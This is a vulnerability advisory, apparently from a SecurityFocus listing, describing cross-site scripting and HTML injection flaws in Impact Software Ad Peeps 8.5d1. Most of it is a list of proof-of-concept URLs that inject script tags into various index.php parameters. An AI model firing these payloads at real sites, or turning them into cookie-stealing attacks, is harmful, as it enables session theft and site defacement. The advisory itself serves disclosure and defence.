Impact Software AdPeeps - Cross-Site Scripting / HTML Injection

source: https://www.securityfocus.com/bid/42071/info

Impact Software Ad Peeps is prone to multiple cross-site scripting vulnerabilities and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code could run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Ad Peeps 8.5d1 is vulnerable; other versions may also be affected.

http://www.example.com/adpeeps/index.php?uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=login_lookup&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=adminlogin&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=createcampaign&mode=new&uid=100000&c ampaignid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=view_account_stats&uid=100000&type=" ><script>alert(2)</script>&period="><script>alert(1)</script>
http://www.example.com/adpeeps/index.php?loc=view_adrates&uid="><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=account_confirmation&accname="><scri pt>alert(1)</script>&loginpass="><script>alert(2)</script>&uid=100000
http://www.example.com/adpeeps/index.php?loc=setup_account&e6=new&e12=bypass&e9=" ><script>alert(0)</script>
http://www.example.com/adpeeps/index.php?loc=email_advertisers&uid=100000&mode=1& errors=&from="><script>alert(1)</script>&message=&subject="><script>alert(2)</script>
http://www.example.com/adpeeps/index.php?loc=edit_ad_package&uid=100000&idno="><s cript>alert(0)</script>